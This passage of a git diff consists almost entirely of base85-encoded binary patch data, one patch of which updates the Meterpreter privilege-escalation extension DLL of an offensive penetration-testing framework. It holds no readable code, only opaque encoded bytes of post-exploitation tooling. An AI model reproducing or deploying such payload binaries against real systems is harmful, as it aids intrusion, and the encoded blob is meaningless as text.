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 Su~*8_Hh_d0*Cuwm-Twoyj4`nQ diff --git a/data/meterpreter/ext_server_priv.x86.dll b/data/meterpreter/ext_server_priv.x86.dll index 9f9e042263ba7e1d68bb6247787508a432d9f8b3..bb3121685955038552c315ce7031f61f5b4fc9c6 100755 GIT binary patch delta 15773 zcmeI3dt6l2{`dES0R|mqs~{-IML|$e_spLA?766@n3UrU&_v15MzkXuD3&@Tq7YKp zHV2baUJHvl<fxdLl3MD?jLZzvip=BLCMT&V=|s)*S$n8Bzt?$Q&tK0U&+GNr>%;r| z{j7aid+oK?TC-;=IUZbcJh-|uF!5yC)?bE@`@}(HY~YRl0pe6LB$O#5%<Bxpw2CXp zumD#-acjWPLB_`j<AC|cKaMcr0SuETenjHPJn=h{OkNiU1xzC?-X#IA1(C1CNM!@* zFP>A5CEtsk%HiaW7#GS<JDbWdrDs%SKNSw1=~6HOOr~@ORz8#ID^g15<<h9qbzMwh zsIRC?+N5KcIrA$|KY0H1?8>&R%5|zTUr|uyMCF|sGc&WKE#mIb0ShXzQD#<UOXf`J z6(c=-_?@9MrG*BDaRj!*{1xSuEtL~h4rdn9%P1&46GM->Acr3ID9bX8G}J_oQZ=#5 zd4fTnSyk44*XMIeyTk##gaJ!NF-%!gVR+TVc9)7LtW&ah7xr2eY}~3w?NzQicvX{= z^HomCO`R~;A=%;c!<^Ei)af%n({)Dn#%DUExgy&y+&z&NM7!E$+m#>flz8gIyHr{n zZgVM`J3rnj#Zq&qD^)i4Qgf(N3WZsE#!<ETU23o{Cra~CukSci-jyqF`w5D0vM*re z_jMJ>-VM5WU#E1QW5m7v`p-FpLisqo2ns@7we&clPN|me)Z0}j?=*mx^>#{|sTqPR zIV9V$uyOnq)K$8U%U%-QROyuFiGBM=E=@yGrt5-SqVaF7rd#)NU6wr)-MW`kilJtx zt5r59P!m-MfhkulgBl7~8%pyPPU-Ggq(QEBd1EIn3vx=Id8_;P2_SpK7sB(2K@5#J zL{5q)A_THQ{3T*Mv5U5Wrw0V5pg-lOW(T%UExJ=VvE3<kh~beHWSRIvWOQ_OEILY# za?YHJiCtw)MRT)eo}Ji*!!wdqyd23#p6`S5_BnIVdsm_a{h!I2DeVwrqvC}-Lug%9 znR2JjlCC4or=?%Ze$;~tD&L!b{xpmg*zFFBAQwlw6N13weLU)^fQWN;G*wmE?caR9 zna=XRN}zN|92A|}UlGkPu5TV7jIT&lF|k8ZM2lI`<>aqoYjgxI^`~eqAUH`(i5V6U zk|5q6vv1HfD|U!M&8y1NaF|SI#bF0M+-b4bkkjND@#2s<BwkF3eH43dk9{F3i@)Xy zlsEs6vp*?LjnlgO_##?3!tzZE=HoG}%u!X9(YmFhk*e0U`4e=4vII2F?5;T_0z2=` z%{s!KD94|$i5I8)H*vbQAg`L>bIzoX`b+V&y<$o`eTDmx`yz^Q4rE0!GxKqsO6e0b zHaM#&jX0yKG?e{R<hlKX&*$Tt9Jh-=k;Eq@i`WD$wg|PMEtW?w(GAa4jXP6SwhY_N z#M39<AMYdw#24a6kzL~7;|Gr}i(}|1s><jdPS;Bu!%8`WQ2ox*Ge!(Bp}4uhIK-Xe zEa`;UFCo^DcF*UVgXce~sx0?c?2{=y-3f<Uz5UID*0{rEO3`$~EU5xV%aYy{7bgrI z@Cd9->6m|eUtvg=v`5^TpmDchtU~Rt{^GBF3n;btz0bS+-gQtq<M+P8dFfTQf>HxK z*X`~ek<(uJi!>@6&YcGWXdkI;uPADhLgC=)shHULd*6|QVbR_#mHiYZW(*xqD#d4p za^w}UY3R_wo6%D<T@r56Q3d*f(^*wU&+nA}B6bbk?v`8W#6YxC3mw3(6{)&g>2?L0 zYNiwuiDTobp^X<r8?VUKfy4MBvT<WGr9B<~793txMz0ht*!H8p1;ffV<2GbUCH^hK z%8HS?*ktVcn8Fv~!0t1pmSCKDrlb@j6H_7@uw|wc_!Hf~s_Z7ciPC%GtV9htB5qFP zNPu`W@z|hW2hfYf9TMO2(q}Fl6AJBE7sSe>$H-fvFKJN!-CEj4Q5EajD%MFA>sq9L ziX(^5i2r-opN%QKMw9NRkGAXu=~c0I_y%%Cj7uI!?uq*3S4f5URdNIwCf-XPPP)X{ zl#%eKq`1g_@4=L%Wc2qMhQUOWbGr}j8-gd>Hll?v<*B3-y&2}LBJpYey{v4PeiiQ< zSw(J$EhCL#!!T7jeTBbXu9#hyDRqi*qsFSv^`aw-JY9Yu&K(sU@g$7OmOqbCkt0cO zi%*RzBu3FUYH;75=+Mey;>u^7k|-vp?wdL_lpaHV4xI?m0t@EzP5w!?v`vetl~yeX zMV0M64vYzT96Z-EzYj&7l3E-%`md^om4DR9C7v7|*FOrzpF85Jvc&e$8g)m=AKU$m z5a;Ea=F4-i+!lx7{l{J%;><A`)z&}v+AeM#V~sdCn(muY))cl8ixsA7Vuw>Qh+mHx zMJ!_2*b$_kXc`-fWk>ed1kx-%j=!&qwPTY8m*Y0jzT1=^oLxB3iTzxc^>i*@E?yfu zmHZ$kbMfdr>D*Xy$y?0L4;VS2FBTEb%(sH*Y04Vp$5L8~4v`<|x`|!?@b*8;JIT-D zbbiSAYh$|461MRqz01<`80c}3s<KY>R18RGanSq#7abn|@CZC~WjeM<`C<bfPFlrx z`8c)if9$*PzwBF!ZGPW3NZ$7eairGdz9lykE;npr2P%>u;NQsACSUWpKTEI3)!eM= zQB4=UVyD!AL;puryZu|(_V-gxLyWOPuDkzw{2RHYcjT?;RXe3ixU|wU0<FyFFzzhQ zlp_Dj2_65N6RzrU!Y}d2{I?TI(|eq6OPBbNZhW*aNueREFNwk5qigpQ_BO7SnLfkm z%JZJoH3yJUVztptUKLr>9-<Vzro@0Qy?E6$0!g5G4Y7IGnMaWcH%2gwyadJ4Gc&z# zczThevPk8MGT_*&RMKgMf2b)M>01@<TNNcOq61DGmYn`g3RGA|-m$C?NyH9LsZuNu z?7<C>5mq`P9u~@37gm?2luUlOYZo<R#rv(5<OA`lb!l)DH4?=8Y>$wu;z65(c*P%V z!^3_WNuN#s)Z>(X5mW35{io1nQLOYL;PT-rah?b5nv@@~DIJ&(+zF9ZA+Cs$mdmI- zyWqh);hEAUx`Fhdc-a2X1Nr`q3x|~c*1GEbOlhuM_BAg5EQ8i%FiPNol`g^f^You0 zn^O^d=Z19bKm3zoo+Cc=BVK;eb547oany#83EtH7kpAxbvl({DJcfNemtnuoW7xlE zG3=!W88#Am267&`8M%7_!ybN^VRvRS?B2PUsOK~65abHvD&*6VZ(7K(kIrV;qB#tE zEQew5KE$wBW-;s+IL9#L*~sn4vygAWIp4`;ya(t0gOIJ>nt6OMY4%=Nm_f*w;-I|A z0qu{83-d-}?5xhSq^#TP^Hp|Mth-tI8!1Y`(jalBlg=TF;LpS$sgyoNzus*Wf1tZ~ z6BaoG@d;?9%NfvLz^%qgCc>#EEGD5y*DUdJ{<QGRA7j=keNR#JZKY225~j9H=^fFq zbjaAfzZcxC)G1MrDQ$)0(<u;F455xxA{z`1i^S5U3EG)-pM0M$q5wU6Z|=K<-7UN! zpRSKn($m6<A=KFI_`{7CTb7O@9in2{<7ArXUiL4-dLMmsIf-bu6SlCIqqH+}<#&8j z&gn|UyB&7%yT2?V3NdTB0}WEMd@^x~t;?fGf%x-s11a{Z3p@&vA)YTxAsOE93m=Fe zjoxuj%?%_@v9@X&;k<2CBLcAX!0HWTt+=DwK$69es&mMB@7S&C5K=8ZR5QfA<|W!9 